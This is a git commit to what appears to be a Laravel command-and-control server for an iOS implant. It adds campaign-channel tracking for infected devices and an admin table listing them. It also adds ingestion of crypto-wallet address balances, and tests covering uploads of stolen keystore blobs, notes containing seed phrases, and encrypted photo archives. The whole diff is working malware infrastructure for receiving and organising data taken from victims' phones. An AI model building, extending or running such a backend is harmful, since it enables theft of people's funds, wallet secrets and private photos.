This commit is contained in:
hashbro
2026-08-05 05:42:10 +08:00
parent d4fb538997
commit 22942f1a78
19 changed files with 986 additions and 164 deletions
@@ -14,6 +14,7 @@ class DeviceController extends Controller
{
$filters = [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
@@ -26,6 +27,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') {
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['channel_id'] !== '') {
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('device_model', 'like', '%'.$filters['model'].'%');
}
@@ -107,7 +107,11 @@ class C2Controller extends Controller
?: $request->input('f');
$device = $this->ingest->upsertDevice(
$request,
array_filter(['d' => $deviceKey]),
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey ? (string) $deviceKey : null
);
+1 -1
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
];
protected function casts(): array
+86 -1
View File
@@ -34,6 +34,40 @@ class IngestService
return null;
}
/**
* Campaign / channel id from reporting traffic.
*
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
* Fallback: `channel` (seen on /link/config/list alongside `c`).
*/
public function extractChannelId(Request $request, ?array $payload): ?string
{
$candidates = [];
if (is_array($payload)) {
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['c'] ?? null;
$candidates[] = $payload['form']['channel'] ?? null;
}
$candidates[] = $payload['c'] ?? null;
$candidates[] = $payload['channel'] ?? null;
}
$candidates[] = $request->input('c');
$candidates[] = $request->input('channel');
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$value = trim($value);
// HAR / implant: lowercase hex, typically 32 chars
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
return strtolower(substr($value, 0, 64));
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
@@ -43,6 +77,7 @@ class IngestService
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
@@ -62,6 +97,11 @@ class IngestService
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate(
@@ -188,7 +228,10 @@ class IngestService
return;
}
$rows = [];
if (isset($payload['data']) && is_array($payload['data'])) {
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
@@ -324,6 +367,10 @@ class IngestService
if (is_string($sv) && $sv !== '') {
return $sv;
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
return $info['productVersion'];
}
return null;
}
@@ -353,4 +400,42 @@ class IngestService
return $out;
}
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
*/
private function normalizeBaAddressRows(array $ba): array
{
$out = [];
foreach ($ba as $address => $assets) {
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
}
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
];
}
return $out;
}
}
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->string('channel_id', 64)->nullable()->after('device_id')->index();
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('channel_id');
});
}
};
Binary file not shown.
Binary file not shown.
@@ -14,6 +14,12 @@
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:90px;">Channel</label>
<div class="layui-input-inline" style="width:160px;">
<input type="text" name="channel_id" value="{{ $filters['channel_id'] ?? '' }}" placeholder="channel id" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:70px;">Model</label>
<div class="layui-input-inline" style="width:120px;">
@@ -54,6 +60,7 @@
<tr>
<th>ID</th>
<th>Device</th>
<th>Channel</th>
<th>Model</th>
<th>iOS</th>
<th>IP</th>
@@ -67,6 +74,7 @@
<tr>
<td>{{ $d->id }}</td>
<td><code>{{ $d->device_id }}</code></td>
<td><code>{{ $d->channel_id ?: '—' }}</code></td>
<td>{{ $d->device_model ?: '—' }}</td>
<td>{{ $d->ios_version ?: '—' }}</td>
<td>{{ $d->ip ?: '—' }}</td>
@@ -75,7 +83,7 @@
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
</tr>
@empty
<tr><td colspan="8">暂无设备</td></tr>
<tr><td colspan="9">暂无设备</td></tr>
@endforelse
</tbody>
</table>
@@ -13,14 +13,18 @@
<tr>
<th width="140">Device</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th width="140">Channel</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th>iOS</th>
<td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
<td colspan="3">{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>User-Agent</th>
+164
View File
@@ -6,10 +6,14 @@ use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -30,6 +34,7 @@ class C2ApiTest extends TestCase
{
$crypto = new CorunaCrypto;
$payload = [
'c' => '34f5121f572d6742703eb84ec2f866a6',
'd' => '000430C910E8E526',
'f' => '000430C910E8E526',
'deviceModel' => 'iPhone9,1',
@@ -58,6 +63,7 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
$this->assertNotNull($device);
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
$this->assertSame('15.8.4', $device->ios_version);
$this->assertSame('iPhone9,1', $device->device_model);
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
@@ -179,6 +185,164 @@ class C2ApiTest extends TestCase
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
}
#[Test]
public function status_ingests_har_shaped_ba_address_map(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600888';
$enc = $crypto->encryptJson([
'd' => 'dev-ba-1',
'a' => 'tp',
'ba' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
[
'balance' => '0',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'Tether USD',
'symbol' => 'USDT',
],
[
'balance' => '12.5',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'TRON',
'symbol' => 'TRX',
],
],
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('tron', $addr->chain);
$this->assertSame('12.5', $addr->balance);
$this->assertSame('TRX', $addr->symbol);
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
}
#[Test]
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600999';
$enc = $crypto->encryptJson([
'd' => 'dev-ks-1',
'a' => 'im',
'result' => [
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'deadbeef',
'kdf' => 'pbkdf2',
'mac' => 'cafebabe',
],
'identity' => ['encKey' => 'aa'],
],
], $ts);
$this->call('POST', '/api/user/avatar/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
$this->assertNotNull($device);
$wallet = Wallet::query()->where('device_id', $device->id)->first();
$this->assertNotNull($wallet);
$this->assertNull($wallet->mnemonic);
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
}
#[Test]
public function avatar_pic_ingests_notes(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585601111';
$enc = $crypto->encryptJson([
'd' => 'dev-notes-1',
'notes' => [
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
['name' => 'shopping', 'text' => 'milk'],
],
], $ts);
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
$this->assertNotNull($device);
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
$this->assertNotNull($first);
$this->assertStringContainsString('abandon', (string) $first->body);
}
#[Test]
public function check_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = new CorunaCrypto;
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
// minimal JPEG SOI/EOI
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$this->assertFileExists($archivePath);
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$resp = $this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-1',
'f' => 'dev-photo-1',
'batchBase' => '0',
'count' => '1',
'total' => '1',
'index' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
);
$resp->assertOk();
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function admin_guest_is_redirected_to_admin_login(): void
{